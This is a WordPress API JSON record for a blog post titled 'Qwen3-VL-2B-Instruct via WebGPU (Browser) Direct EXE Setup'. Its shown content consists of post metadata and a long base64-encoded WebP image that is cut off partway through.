{"id":3884,"date":"2026-07-10T05:49:45","date_gmt":"2026-07-10T05:49:45","guid":{"rendered":"https:\/\/salpimentaindy.com\/?p=3884"},"modified":"2026-07-10T05:49:45","modified_gmt":"2026-07-10T05:49:45","slug":"qwen3-vl-2b-instruct-via-webgpu-browser-direct-exe-setup","status":"publish","type":"post","link":"https:\/\/salpimentaindy.com\/index.php\/2026\/07\/10\/qwen3-vl-2b-instruct-via-webgpu-browser-direct-exe-setup\/","title":{"rendered":"Qwen3-VL-2B-Instruct via WebGPU (Browser) Direct EXE Setup"},"content":{"rendered":"<p><img data-opt-id=354225210  fetchpriority=\"high\" decoding=\"async\" src=\"data:image\/webp;base64,UklGRkBJAABXRUJQVlA4IDRJAAAQLAGdASr+AUkBPjEYiUOiIaEkJlGaeIAGCU3SZhYhYm6Fe4USKPKHGB8SPqyxLe4\/zH7k+2Fxn23e4vwX7M\/Lb7kf5n\/L8Ufkf+N5rvRX+\/\/zP5SfLj\/Y\/+b\/S+7D85f7D+5fvz9An6n\/6z\/H\/3b9fvpJ\/wv2d97f+G\/3n7E+4z+k\/4T\/sf5P9\/\/mp\/6vrN\/yv\/A\/ZD4A\/7h\/Zf\/T2JfoF\/tx\/8PXU\/cP\/s\/K\/\/VP+B+1n\/S+RL+c\/5D\/5\/673AP\/d7Xv8A4K\/ub\/xH5PdHd7Cf1z56K9bI7+W\/eb8d\/euPHgF\/jP8z\/wX9m\/X\/+8fvT0NM5fqO+8H1f\/Af4T92P7P8ak\/jrM9wL9dv9tyqXnXsDf0L+6f9L\/M+yL\/w\/5n\/Vfu174PqD\/v\/6H4FP5b\/X\/9v\/fv8F+z3zh+0L9xvaA\/bko7ZD9e3zQj5vDiXNhfUryzJt\/gfjpumyh6tiGecFw3+HdyDct85tjVmROasYJ6\/73Nepg\/WZm3J3u35K0L5Gc7j77L8\/99PIEir3PYL879y2Sem9mPmvUB9FjTr00t2mEAl81xK\/5PRVZWnbzv7ulMCUWXNl8maGBfw94b7gTnWsgszDrCmsRA77uWNWyQDRkyPawWU6YJS39vXLljPylcph6tz3bA4kqWMHqfrtrROEU5f7yDBrl\/pJAtmMUmbpr6dfWAa5Newpv9toOLz\/EwqRjfBJdzKWz898JoQkNDPYXrI+i0j2SMt3i4oGqJtq0LDeVBN+p4B6aQK820X2voGE1rUN0k3JBpriG748rFXjj10uFVgJJ3EazyxfkMSZjieAa7OiAmS+bXuDpBG3LLWEM+2P48mWwUF9eYd9HLpajnsdtav500u4wzVqV+foHHTWNJ7WH472CkuEXrDE\/N94Tehk6YYDtGrqmnpgpRDX3Qwy7ZfkK8Bd97D9bbBCtqgXw6aajVVjGDmaxKMc6m7KZkYcl42mrQ8fBDt091DSuySennGjmbl1zsC9pZjgOPs31hwcjanu6Z8XTEDrfodk84I\/Uc5zQmd4rSTTFLNzZXlHH4lenBddAaq4uV7loX8ITY5d9j3dxTtuV+0OOrCsXJFG2Bl+9RnVAHM2glK7SRJSGdrg3AsE3TRO2FbW6tWEv6Rl2gpoWrPqoOrCf5V4fTmE94thwqdmM0CGpdX9lzo4hh\/XiCfFmTCCoJPptyUJc\/8RNtPakcSrmNVp94twXUouMbWxeO3X0nhYs1dmrhqDUP2LTJHl3ZHHqQxE8HNiBPYW9WOl0XRp6e+AqK8oLCnR\/YJLRXqJUe9ymZ0Zd4k1MQdI2QN05zgzZhIWM9YyopfbBuOoFS6aFUnF5GzNmXdy3B8FIzKPVGN0xD1WveBGi\/7s2h9zMgqyJrfWVzMxgAt2EY8qA8pq4wRZMbNGxezy59f0DPfdBMzt+CWyT6jDlX+z2YDlj+C7XzIuveksWKtLThD8+Lrh7RZzr9PXSX7yXG1MipJlXO92zUAzUobbQf4vR6Lomn7WN3BrGYiKvrbmjo8em\/fN9JDYpI11Qi1KhJPyJ5P\/wOp7beZK5YYxo2xqCcIhphvFFLcCaoOahCstqe6WX3sCGAYHRmZep66rj2halpWeMbPnLSuikf0e7P9GlWibSBqtZLDaCKdw\/c+Htk5Hm5e\/dHBmp63kT0im8uD10kqDsbvGmY1ymTDA6q4zDYgYWkAwavIrDtWp4jfWvbNnWd7SmP\/CHguHpp8hqkfDVpT5pw4FAufePkL1+9XmvLUoQHeEkP+VbmPHUh81Sncxs29y3nOVcbl9epr467A5qdqYqdMW1ZSiVVB8XLqO7uUUFxZP5Lhai\/m7LGyc3WXyazF0t9xp8RwX\/lFzIIWDunZKOWQWDB0MFrw8MZOwH6c2lv0QKmcsgmH9dCmXvDiqxBvJ4r1iv02fR0VjivDGBMrMT3WJEWVdNGSsAhnNmM\/xUcSLRaOlRFkjrg1f8gzFt1so2FqJmd+ipvQ9fCb3xIziz954nwHu4wkr+wLgu385SN0xAtDcwcATgMcyIyMColUH8DUftBlZxn\/2erPzngnur8dgYqF8RSs4CQmTBlsOvxsFX1AgiQQe5GGzHySnRE9YtTKUmiCo3jFGlCe2biV3KQWAkbbGmhvnloz\/+5i9i7RISs03ZsDkg5pwJ+\/KXB5gMH6FCqz1MhZCr90FfKkVZzxbSA\/xlcm\/li3ss1jLmwHtTea95yXm5akS9o31xl6QDMsJXNolGnHj6DN4IzUNZ7qApHoE5gSrstkSlw1TRELQj1PvGfm8kFNLfkbx1nSPfSMvn\/303F3wE7zxC97IyrciV5emNgaJxNm905fzX3VvXFlo21LF+97xTyYgG486mxt0X9gdYXK5eZsgnFcodsE0m5pTCQWCqg9oyejZJS\/Z2s0M7bjjvVj0QEOMK27kvwqEIMinsnJ\/zckgDb\/EeLbaGmXW0XdPhv+2nx33y66vKRSH15w0P3pRlnAE0nJElE29fhrqMlzLqJrULTktemntqhImSmzpXUQge7230Ye9TkfUlgQhm+zc9OeUh\/U90exX+Xz\/NnDe1T3nxA1Qfb1s08OW4TV3cHhZgKbrpcG9rkVUy\/Z4NUQdWIZGZxRn3UZtF0bwbf+rPKqP5uh597Fif\/BVOgoJRd9mNy6+\/+gdtGZV2mpakyWSmP1ZRKjVI67S5kfvBCuq5lc22Qk1g9U+eaN+lJRw4+gh0Qw\/x\/D0qI4zPd316sNjfvLhVhZ7\/nK8O4ZuOn9LV1onDoTEdG1t7EqubbQ6jWTrt1jqhQXeyf5z7QofJR4DXaDZaAWe634Q\/jBvsI20Vppxp+WrzXmM0YwLjBFtpcXgpbxnSqSJ6ZSIwgLX3at+4ehPRpM5zm1fVbZnw1AzXUswj39pN1y9AoHEV3BlfKu+zNyHCZunIxsD+y3zv33zxkcDj\/csIdKvwPjyjvPNZr0H6Enz4sy30If\/14H\/\/ZIQwQMno8uPh7gdvlJ3pxWJF0gvgPxdiLO8dN23exrwv\/vu\/g20rOB0thjtKdo9Q\/r0Q4NCDZe6GN2HJeh\/pYxYkZoDGKPEQ\/m\/2t5SjMWoF55OQX3o0\/MvEYGjRlmrMG3QhFPBEZhQkCUm3OVzCQpLZ5b0VVg8JQhOzf2cYb\/KwIKZ9wMKBSINi7XSi20L\/nbDmSLBN7BOClokJunkPdpOYT17yiA1+Eqv\/mM9SiD4mxYgA\/v\/4OuRc3He1iUfmTyLaDGjV\/vI8Eu89PK9b\/8PBEN\/FgHBKjGdOnZxp0HQ5ffWTbzctb4wJVoa3os9b52s9LjjEAnWZihpmPzFZXPNjkfUyGzXWOWvIIQNWz8WqfZuV4fyakdaWbNwNvI5OND4oJ06BFb5\/DBn0d1r+RQQRaDq\/NVHufS8MVmjOx0rjeJCPHOF21sveoLlFQLohGK3QOm451TcOkWQJfhbso\/+JR1EI+sVk7mU3rWnXtKz+YtdUlV4JR7dBPAuIM+xmK6Zep\/4t+ntjaluM85srNID9M5Onddspx4UQyfHtyTTYpS2GJaV\/tmxLbwH0Rv1Xqbfhq5nneRaQreoyYveHHs7ijvHV6Vr5dySxyQQbIV0LZ1pHP1ShMmP5n+LYChwclJ8JzE\/yaa5cTwwzOSiLPKsvBYGc3inpO4QCRYKf1PZ42e\/S+4Equ+D6kAfphAXoHQEzbh03twxtH9OVA4iPicWQJ2cnah0uU1w94m\/BtjRxU\/uvBSM+CjZ3oOVtjrQDlMZdl1DD9ajdadmMQdci\/D01uzWjA4Td5Eye7ZfM+3EcoDmSrc6eNg8\/Ql\/GA2v2Sb3tImbbm\/MtAIU98FZVhE+ioJn7qEbMR9b+qwaGTlEv3qw5Jtpj+2mqQd3DX+xA0CXT7CJZw80BhTU4ckQyy9oe8FStQqaHmPBwd+TcHfhQXwbHsOKNhT5cu7bgl0alIwW5iGqYy4Mei6VdI8l\/HreU5h6Z6ilmnSCtMvxIgrGtJxAiAr6Z3Y\/djLSuRIgPfXqWKqb+8Bjcf689c+5VzrL0RTOmRBf2dDEYcMUIR0V+6DUkn2zfUyOq5r6+3GbsCKRs3v4sNQi8kAo9qWlMR4lJZJDlH5cPfAxgcJ4YgN9FJjZuoIYo2o18y2VQSDuQNHG0H0BDyfiUps8e4nDkoYZ1scJcJD58yvuwRhuJLpR41bT7eoucRU7C72f2R9n0LEIcyM+TNxbbBoeV5EgMCQyy6MpwCDBirA+64JNOztgCLN04IDDwjbwnyGaLP8VVue6LDgOT5qe3EQwNKFd2blQyVbjy9Qa9mbynRhV3Gb\/Yctve7zChEvnSeVIamQo2C\/nDwFK66NjEFkhHK5YcOlIqypqXK5UYqQqGrDpM4a6xBbhtxnI4JKHndCf7KdeqsT2QtgOiUyTNDBCCHJcfdi5MNXglTcmLRCX\/Ao+g\/a9cNm1lnTCwmx9UApgHtIUoJMRQAZtp+1H6ESSMdJIgWOsXBGFIeUjOPYrsRZiYsKI9PcQRdQyDirfczMk\/RmVecm1Tmm\/SObb95CSdR93yVykqm2YXiej6dLWpQ5pkKmXGE1hPxkZKzDuv+1R5IXPy7\/d8LE4rU0k1oAw0Ig0zcJweLSmU\/kWV6U\/0mn7SqZZhfwe2apB07iPU6NnZA3\/cczBq1L8Y6UIjQO+PB597hyHMlYEgNvCb2Serwp1VzTrI1EfD76aqrxvIYU+czacM9lTVsyF8JWyRxweNCGJcEfzumMmwTEt4KJ2aZ03AMQEbKPogJ409Xmke5Y37YLXV2g4art5UYV5bFkAuTmkHFIulUMri22YkePvikDzBGasjuQYn6wXlRLwBJXuVcv+Ms3Y0JG0RT9Sfkm+T6euoO5BwM8ITPW75tynXJcL84p4xjnthNebEDPdHZGeMW84k5aI+w5N5oXMQziWBEmAb9E0kFDwzjUZ8vQwU79k62aWvjoBVgTgFPIBJRjR4eB6INHAN8gJ1LZ5jXmZTMphFBlfiVgTkndNqREQPBwHcKuesTU4cYOSHsF75EfvP2CfHNAwJb9+jqf3NKsUXVWXK3wXEsk76uaRwEMME1e92b39TkuIlt3KoOxP+nyZnaKFPBJq2Sli1b0H0zMJ6hq6DgrLnQJqO6EuiZdp\/SEZKGXIiwxWaxQUpdeIVPZjB6BnrUsrKmwSdZoJEgG+mqIjFe\/7DRG\/gDoKYI1wBNA0vSBE4LMGz4e0YG6vUEjSJywZhgfIObHe6+JL3R4YjKjY4XrnvhQtT+LPKUf4NoQ3j+BdKgbbWrk2499\/eznOonuIWedMr5gToAVhu2RvYlni6QxNTAlFPeEZgwhM7ZFyEP1SFmzjOjgdMBSY18rkU9spaUR1FORvxixMC9Pd9DKJ1JFsZWCfZ\/g7bbco+ibmvnp8fQ9EtblNIOpnWq+IE\/\/\/pU7QhGgwOhfYkPW\/GH4GOB00v06KIVoBVZrno\/LrwYebNUW0ZOn\/3nCg5rUf9c87QxPXroY+FBdnGVARcUKk5XYc7PUsWhWqGaug73N+ImnTsHLmwBMKSpufWuyoVkMXuqGglH6a3fJsEbmcBn3AnZDPkyqJ7JbNywbJuyKa\/4lVQJq\/xUZtJlV9jJ9MHIbz9j6cS8JVUnXkj3NhELPckVJc1BNR4mSwmx9npovRNS\/rqmsp\/zKdJsIuQt22N0f7ShHXnGNp4mWgs7cwyOxZF+s64\/GPESygU03yPs26dASwxdGfvp\/wHMRz8E+q8qx1mmTcS9BC2nQwaRa3pDp36fAjtIe+LJ26wBix5Qb82upY3v\/W1LODapKA3thgGRh3dCJ0PaszNilwbSHEFsH7pHtASe1aUlV3SZgo1iPPfI+31wNtjbvE9SI03NeEZFXPcy64r9jWl1bq\/x6FUXC0tNXq30VXQCzfN\/m082ag3X\/ZmIAMufEhSFE7kw4XWWbzraSmykmgoXVB2YWmScmqNZ2jcXeOehN5sl91N61Km8SUD7pp+F7UBeg0E\/W1OvGMLJD2jtWpReNnifNmUODiR7cSTJ3obcorvmTs6wEiejUcdXQkA8bqclmDV7ng2tUC2CXHixf\/HnTEexxwZpWIor24S+E0vkY\/Bnai78Ne69U+8QszmdRbxXmlQECdH++y0aVoDXeGQmaT+AwDlwxqheih\/ehl5GmjVohKMBhL6+dtn5rOQSlsvqvQ6FMcFXTX8JuVs9moZlEg7L54pHKvDWarujeWzvSe2+pOyTME3xxcvsY9YtJ6s1L+rD2I4kdtnyd0Ght7hjTdGbzkgU2xJmtxUDrn5NDK+lKSTsnbuH4o+QHih1qatoLXkctXZDkulu4vzErjIQzEk6y+ZJuXqLiiudImWSUQPYXwnct34TUIysclJNiQ\/48pAaiTHb3Nz3l1ldfD2PrW6cJnGKAvbbCXX37diG0QjYFv02tBqew2cuTHjJgr8kvxtrRXhK\/m53RgkGWFrKqMydrbaNl4Nfvuj+ZomXOO9aCXdnL4nLTpvtxSWZ+OGz0xMn3IQ1l+IMkySrqm332VIdgKwGCbsejOzhZHbcuw3ycv4wNcELR6SPnxM4wrOUve4pXwNUNoEUZ3rDtqv13mpRVcr57d4GLUF7QCsIfrZtw27H\/R\/VgnYgYRKs\/Emo2dYazOOgppbpHq89LZA1ycBaQDy4tKRkEhrl0Vcygvv1SQBr25hfg43fGspzen+eN0DZOUisIxR4s289oR2p6BN9W\/LELrzJWbYlir20qvw0\/q6c2Ti\/H7Z\/RDhd\/WEzlG\/oP4HxJHvyO9TBS9LJt3y+zNRdnUGQtWVxxWt+T94N28aTK6KGwWuHGro69Ul05SXhXu6XxdabgEZKuk8o9kbgcSuI5WmlUvW6bkmf4tIq6bkKpom+jFnrT1btg4A5NPIy+6+yMv2CANPnJF5Py1duV1jjFufwCCC\/IQxyroSB6wlnWuqKOjQ5+YOs9dFIEVm2Jn7dHUYZcxNlCm9LyTRKdAs0gl0uQf+2qta1KBhnZM1FYq73TvmpKtTju9okvXZKfXThVhAUlOm+inT2lmj1g\/Ehf5VGSHse5y72M9h9N6Bf6EvWG7BwQyV1b\/sQbQZyuxM4sXFBeAIcrm\/J0i7sujg2r\/ZDk37W2EkumaqurL2s\/PzEWIVnaLQDIXnb0CKJWLtjvsiJbH7YHga7hzDjJmSBFyia8N2wEcDuGLPZl1foJYmlf99+FZiVpGJBan\/ASNtQjGmm7jSXW4yZCBTYl816WpaG3s3upwPH4HSCoVEef9qHRNFgaaRSv+BLSGCw9MYKJvQJ2rndwsozN4MtNaBCtrEo9vtWBY+BPdv43VCIKE+vhU8jejSs2FREdca+m9hCGeh5dIYY21TAM2Iqcrn2Ony80ombv4yO2\/4OFjqkdXXYFFR3yTt4tow\/17EHRfPv2PHqrgtP\/7NiEtIGPHRm1mucga1PNr\/msz111h4KcXKn8Nx3m4lIM4m9WXlMPYfWOKGcYbwb\/aeXpXnZdFDzzGpJoLEW7jygy3CHEl4Ry111gSOLP4kPwsh6QWt2ImxunurNrTCua8BxwyRxOs7fmdJ4AlrRHilif+IMwhZ4WptAns5etPhcqjf6r9xlWmasNnOUll+6ZSy2kMcFT1QSJLSqy\/94w1Ve2BXBZ184GV4TT62gPuIGCOQsmIUD90mGwAa+9F3LvDiUk7xWT0rP7H0HVFscxZEp7RhTuzRZZB\/LOstt\/bV+EDHdG7SLJJ0YT\/yIib6Ql72hpJI+dASU6r5unjdaZNHKx0cxpEGitI7+0yIuBGMmE8j0wosv1pmmFn8bJ6wwVNzCl5Jd1\/YCJsQkQD\/po9U10zPjkKl6m\/dSGwxvkJjGmktvJD6dZ1SgNyfEVF2QCyVnn1BE1\/Xkyb9R\/kjSgqu8RM13+FUQv\/4uafExhS3YTwM58pztimtp02J\/7xdgRHn4kQAmPA79eGbkGiEZINfEJ2jJkETg6B3z4aixqSao+MiDgBn89da5VjDidAWtyxAs7umnp0rWk64Q5xj3F\/t8fataEYa7AbPJnSwkUCy2eQsoFmzBwV4jF9cHPKydlgYrgt4Z+VAtseK13WsrZkwNlag47N16RkCW9eIJ6t7l8f6IOFZ4QjpBmlK1sjHT7rHzgiK9GKhXIWCsxgdi03h4VrHP1jZ5cpxfdxR6yyo6jKdQDFXdp21tkqYaINRg9VaRN9+lA4f3EBlhjbrf4\/Wvc0EVikuFk5PqAJt6YDQne7PrIfiQWlRr\/spzzwOdFEK6XeEcGXE6vHgacOLjUoQ3rGEuL1OPKuc23F5ZucgvUDt86QR7zdicHUA2uFTmmS3lN+PF9es7EKb8w4p1wA8sDWyBl0KcihdKnvQBcc6LDdyVGwo73QpR2+WYhcPJ6y5K1KAw0pjV9eJZPpw475Hf8v6Zy12vXVZ+I2+uXdklAPMxCXuTNegFigqhtwLee1zFMcpYNaiM4Qo7Yjc6eNdQT5WrD8WlYJiFEzqDGnDUyZVuNtdnqAebVUEKprwAJ1tl5hH99tYjHRlOwo4vGRXqi2PD9DeYAigtoytK1mpa9fV3BkvyvyZOQX\/umqc0ktLojrOzUBMKH+D8xzSdKM+sUmynLyTZ1lwO\/izLNeb7xF\/jEv7HFuGzfIY0t+I+O2Fcxr9OQb8K7Se0FbPDO\/TgvX599Nf14Jy+ySAHScsbuc16YbOeZLXfRT\/cstAXYDhlYUZhlScc65BSEDeV4t44tj6BHCjjCaS+GyF1z+xCsa\/XEfuXMp6CJO6zV\/nY6Atn5jlH6YoM9ui1vKgDWPKIZP6X7eqymlqVGqtY0ym89RmoonqURzD0owKZgQK+nXACaM1sWB7\/2F3EluH1YuOnxBmrbPONwAILTLy6EyjDLBGCM5e0XPjHdqcE\/bNLS354r\/zo+TVzOYtXQFpqecRGye+HZEh\/lV\/c2nSkuu+ibCvMvqHDWHT6\/JDcfp6SqgotqzzDpNHzkgooW\/vLYQGU6uYU0HJQERmtw1vn1Ll8phoTlGqBRBTuSaIvAIavApW9+pkrTRe+fgj8Y+emk0Z+jImCkOgFplhYnbrP3FA8e4Li0Za09JxIaSH5rEItMilIKQr5HwAL3sj4XkVkRG2bv51o08r7yMt1ZIJzMfMztsZgwg93oRrZ31Tag0mJNm9mqe1N0xiIVlFRpWYaibZpglMj9uWnUUrwey2I70RZIoJjA\/4\/k2rqBb0EhcUoBkYVlyFxwyV0PUmafY5kUzLjJ4EUatkUrpXWXPgRRO16ZgEUusqNIFgmRq8QdXtHIOM4iZp2vEkWhiukChIMSs6PaCaJtfC3m8Y17b1H8rWJyKZyA8bn38Y4CuyMNEOq0AAVX0zAkzMFNXymHWAZwjU7rQZyUYac0B7+8vp\/JlV9HC2hE3Kgj8J4tSH\/KG8xE+aMwgHNV8t0Yiop1C1t0I2D9AB\/V0rd5wUaWYyS5\/SjbG5BwMcm2Ev4h6kGQIOIq5TVXXhLjePCdAI76Opto2ggZdYeffl3tliAg9OH1DFm1gXlW7QKqTh5fARMD\/2o6qP4qTkf9soyv\/kQb38iqSv+5T93AVQ7pBL6aW3EZvZkkrhPcaYgze5KX8ZSg9yX0xUseQ3lUtPT39vEkV6OUKHJ4uzOscil5UXJSgiMI8wkRfFp\/wSR1k23oOOpwF+7iXTUsdeJMVFC455lxwE18ipuD0DnDLtujzNQrfQ3Qeh3t6sKZWCvymYKjKH2srVhyc7rPWFe63qL\/puZLqVzh8l57ydlaQqHjE3nU9tQUvONYXOposXyVceRI8gPgpPOuUfMupqDunSXLGU5rCpa4J91QZ\/tgVhSM1Cwq+cNkeBN9gJE5PZUV7VkM8zT3aVAaDoXU4wI9+6cN1MHZOZd4rnSg8ZU+Wo1MMdurpoCANVHHNTbwGumCcqjE8Zu1DpQtqsZcUQuGO0w0pifiM0J+u6k8EtBI1cYPAMD8J\/vVPiVCGMMNC4ngkdOaAjIx51r4Z7QIJmBB4LDvOo0oBbmX\/a19a\/iH0Hdxo40iUm8qtw3+XrxL+bjUZucTgT1gdIYSyCYjSR+8aDogvfr9R0mUf+hdlvekSYEv61BuQUnf+GlDRfaxM3GeP\/IeI69RY4d+KhwaTBEQwXpievGxi1jrBtMeXwdCYpAEjiFNlcX2YDowskc6MTtLqSjaKGe4xAHYSxkEcv\/ECAwJ8hyJk6h5fs3eVX6gNew6eubqyOEPJC0kcaywoK\/QwAHoBMCa5eQOCnibOV8StJIqsgSwu+HDg3tpm5ISQwx5yHGxMwwNkur4mRf7vtw+UiEf+Qj+UozM7+iRr7n4KPobvIF1dvVqSSDOt0oC\/yZyEDc\/gqYzyKVR8o44woV3vWrmF0QQSn5H3SMgDVRbpsIj230904c1aOtHTAt9rTufs1kgPEKrpWdRbtXkR1cihXXqodBNk4oIjm6arp44DB+ZlZsYqFP+e5wCeHt0MAztn7M3C465SBqG77adEFcfgZJm9Uqa2qXLzh9igKDSzNvViXqnqZlMiLo\/6R\/yes3eX\/UuUwQNDVwkOMIZCP46S6vXThdtgE0H6Dn29FINouuVjWsuI5I4AkF30PtAZjmJPMq7A+vhRUGI1vTaZvu4\/bn5RPV8UhMQwv0wTEVQlbZpz9FE0tM4aHge58VV6tlJTJiXOKyrgQS4m1XdcMfhu2jABUjEWZ\/k2+YFtbf1NGPkfRlElwOZd+UiN4veGX6naVrcB9x9HAw9PhYxLIMuWqCEp6fX6VuYqJzIMQiQ\/yrDwDgIR4jQeXfDRSu9a1zw1ZJVf\/8L\/1Qo0ruq0QQNQTTc+hY1wKKNuJO81hCWBi7gc8ljZS9jboeSOEQ8b+IHoOTeItd+csIW1Zvrf7UsVHyZ7XAuSMVC0hfiONu\/GxZU+nJF3YHQLfgViT+0Atoe1pJvwzOyNqADsZCwpq073anKy5fGyGTQqcJi1hoIOg+urF5Wd\/KZs7ezhEGsNarwM2BZnYWQlPjto5zpN6P+mMyfZf8NlR2Q0r+Qq2yTn5bSTiSGhVtJwHcUgcljbO\/Wuy4TeSbJYBQTr5Ln1KylZjmi6+HO+\/YvMTdjsH343cIveBKE\/FNt0r+0P1JREvjrJn\/wvAMa5KA\/ph2P6iZwyDZrYJNPFVkwJZe3QBuL98qPJ\/MkLdNj9zYQDznLKHR6uCspMcEBn4BNT\/JhgWsvV\/Ut+5J+NQ4saY0c4wKaojO7jV5mW6jEbXqiJjA3NhBmhUPomJHYB88Gg2uyNTLh7gJn4Zfu7JRo8KX\/KW\/1TIkFVbEx4tLMBVr5sSnOvTtH82gukXe31bdrdsyNUd0TCqOg7tbgwYmDED7+sDjENuJmt0pTh7uT0PybVHirOa7CB6qF+OJNMn\/8ov9cHs5iWTe2xrqHza2QCCG2OjaaujWixzFnR6wvhY7f2WHYhjEOgzLHJpMJyD5o5v3BYBJnLTjWFGPvpHL4lwdI\/jp1mKuQGhr3oJSUZ7jPArSuIEO\/m2dzMEmiFmNVf49CHBD5hDvW3TPWtIzJcsM1LxvFgc264sFKIphBQPwhPYPG+wPEo3NWhudjvgAtMAoHSIOmEkSsAUrKwyR3B08ynWR4L9QAgbGLnH+8PJ4bjEQZLFEqvq+j1ZomZ2FuXASpIf4WWKavdRhHiDXqXgeIDh2DF3HxyQNa1dmMdPnLQNWjzQyBKc4ESqs4KnLWDGS4ZfgQvmrIh6XomGO2Hj6UGJL56KYRx1Wzganar\/4wpfB7Q0Cdf08CD9qMtzIzS4O8MfHeKPL6v63brcXnbJI9YAcHNI1OBqS3RYfn4GCNNNP2Cz5tu2O5DavBNJ3nEfIb0+rTQ9RhdvqtUY5kbOVTK2+14Y59OzJYu\/Ci3RlCYibr89i+8\/f\/qXuuDY6CFHj\/1EiUs49EHaeBApH5Qhn0bEf\/4XgGOPOWCU67lzE0sfYI6c\/THEqZwQChlWsrKE61FGA+BT88P5kDyeg8FxH8TNUL5SCNT\/p7euQejgIF133FLs0afEDvTOQFAawtNGBD8A\/aiJPTa8tFZJ+IWSZ4jzFrl\/Rc+qQH4xY5WUySPKNqEiGawy4SpES0c2Xk9Lf\/lXXZ9+BdpjzNyl8Gi9VSDVdeC\/ltZ8fiIfWMwhvgacanHuitd+xPaLvUxH2mLZMOQhNw9tp+9LIOs4Ch2x\/ZMLfOmgig\/naNqdos6zRQIfz5Ly\/gF6GY+9XPQxBde5Z1URTpr6pOzCBpaaHXT27JtqJrEsF4JiQ7kNzf5C1kQKE+bRQpCNfIeutLYKac3yjzKYLJ+dS+Vb++GOLByO1zQFR5BiADamsFT8\/dSyF2WNUGOMHiDiiUb29bjMZbGpPzJwzWf\/qtdF5p4LjLw4WXDqi3JMKUqPyO6KhbUyV4aNGcQSVI0Knn2XnEwAIqobDvEXfAqC+c\/0Sb5fvCiUwcqwspu84OE9n623Ap7LG3Xez1xx93U\/3RVRJ9quP6AaUZ7dEhI1aBEb1RkQ1yBWjiUBya7mYIn30vYffYqEiHgEavj0RIFLlo\/aons5CzpY252vv2jW21PYn8IkOBtw9XDuVGIzynACYMSFHJEfN7bTBmq9HHov\/q2A4h9zNtyu4LjAsAwEy3V2IFBAjMG9QaFHphEWLY6H+q7vMxvOVfqmKVBHkW0rYaCEyLtwELGzOL8kEgjEpU0PmgPjdoCt8Mg0YL2mJywNyRU4jIG63ODRmLVImohh83Lu\/oyqijN4f2cjfeRHmBkrsZT8P0pQb80KOWaxCepVCz0+W52U3cqlXtYadtZKgMM0UCqzGdoFCrsH0AWL8tuO0zxWZ154olhaH0OuJwSZWrlIrhkKfVjqO\/viI6yjRM8xg3r8w6plKLD88UE6zYv0L7uuiQlnlT77iV6L5H7vloLBtEhBDOqigp221mCwNnt4o9TXWlFPzTVQ0W1a49VSte0dtDD9VFT65QYGknx76WXZWj4kH2b+ftadhjGW0nk9Re4w0lU7MpGj\/CSONZw0Pv+xQeMKkZR5vj7i6jC\/c0+KqXaOXa5vibwFP\/1196ppauLV6+maKkOzwQ4YESNBXAsB\/m2O6NGP0xINFySkIxX0GflOtwWzd+Tzy9lz6SZ9UqorV3zKwThpiiRVNvBnGEOq2Ptr4\/abYBoNs+6gQojUAA3oA6QsUb3hIXhq59NZPhXkeZkWrcSKmazK1TY98oCe2oqSm4DBxSe5Ght\/Imfpima03e4OldrghJ2I8m6AuRfrGxGCHfpBmLrNu0Dn8PSwb4j9+WISduUcKYjq0CWXbBf\/cpCABUKguNz+Tmln\/MnDqICKmFHv27ZQ\/AvczuxG0pOiy73w+lI\/XknUAUsNwCxGj2ad3DAPkZ1kFfT9fOZomh1uC++snNh973r1PfN5JHtIbd\/8ezgZIs\/FoQKc9zJr+U+PQtvL1zyBZwg\/ZPz+WaLgOMw7Pr97wKr9an5x5UKMK3ZmimvOZI4Cs+gN6AwmCCstdDdq1YX\/fIEG231aZxe5rt3AOyguzVKfqyX8O6qec5IiPq7fbiVrVH3thpc3q1D8C4aIG3bnar2UFKm7bfSMn5Y9GHoUfEEzBJHFaX\/EHlviFTc5iwRtmqHy5N\/RrFGdJg5QxSzxvmrvQ08kvgJ2Y9NUh0KJZ4tjjWS+dXkUyhSRgwP23CS+VDp8lzexyQA8QBZuRbsg0bEQfDAXbEsEVPNO\/5cA2M\/MU6JAff0KH4hmKdZ0LsDRWsJEfUZiBNljCB3Q\/wzauibi3VcOGqu8ERIDHE+anS5B2+UdbQVFtseDI\/p1LCZn8FvOhaayAvnE54+UpX9yWKYYh8WYOz7MYwPYpbFPOcXfk90N61zyM3enU2Pu9GqSXz3lHHHEVGq644HavwTk8xKMDtjrsK32Ga5m12GkeOFBnHau66hMC4qAnNz7K+ja7thxAbLme1X5ribqddtlJt4y439pzRhpCNV3hSzNkRBq6pqjXtVuPM28BPF\/yqu\/MWBuVHEVeywUNLGZV30J7Hx1hZ0bxwEzaJZX+3tOGcumBgba8ffd4Upxs48+pj4yQGetR8sUTp5n+v\/jOD+wIJfY8MKbjspJOVettoA+yusjD+GO+PGQXwgmjHALCCLLqbN69JufweK6nvhmjMSyOJS+ur8CvgVy6fVe5TsI1an13Q+5uZ7vw2smhaCZO8uyJPbYyo6J7Qvexv\/OcDp5muIH3p26rRYn6LeMfkZA+Bm8QR33k8Xk6FiyhPetvx+7sBWwXgC6sctOLTEDzBXCunC\/RbOiGHoLkN8XE+Sey49fZFyTE\/+46PD5p3URTJTSf9INA5VAeQknv+UyzB+hMM\/8yIKkJaDRggBUaiydWjNrQoU5m\/gUZswmKeN5kfcRyKmWXrkVuIwWvDjw5f9qJzeDeKNXsHpAWah5KLyGKHXDXe\/epsSfYkOnzh+KTaVtqUZ+qtKuzDU0TGadPuQE9McI7UNUDL1R1Xho9zWGXsfhoJXUpkQ1EzUEsMkk1aeEuUgdsG8QddxGWrgHKi5\/BOKUjlwY7fJUR9ZpiPx9OQSW8JeC4JcdUuHh8pe7+tnXTMJCtvL2UROSj55JjQSqM7Bj\/cqLPPVOBMRz01\/uaIhGFjPDL44AzT3PvOLmp\/t3ZD4nbAChOPdXZGSphaY7JZtgnzDsK+YFtne5DzihviJ16AGjYLwfRcN7PNQ6kimF1FmJSAEayCyPJNwhM+kz8CreCgoyuFrp95QrYg\/XEzK9jSDPXiP1ZXGeS8Ui6K9P+4Ek0DjYAu8MWuTjoYysqgPHY4HRILB57lBw1meaVHg4MSj5oiFKZx+SgJ5XDsPRka3iX9bhrl+0K3gwHoTSwTrYyY3pHyhjx2BAE8J0zBOvRqgLRnqVo8l\/kBPN4KXAPXxurnEoMdmoNLYNSNlw3aC0DPw9CumouT2rz3Cq4RGXJlgNGYJsxvrIq2xJ\/1FpGeC9hOXekM9viz1c\/1JmTjCfgSFG\/PvcngDg9CzdRV7XRcETMfzZm1qoLftn7mzs+aCwRCUEiAZvIzv6Ua4lfiBI8B2cLBxhZh3SLvFlv4JQ8YrV9IkkLbUo3EZtkYQsKA1Ygv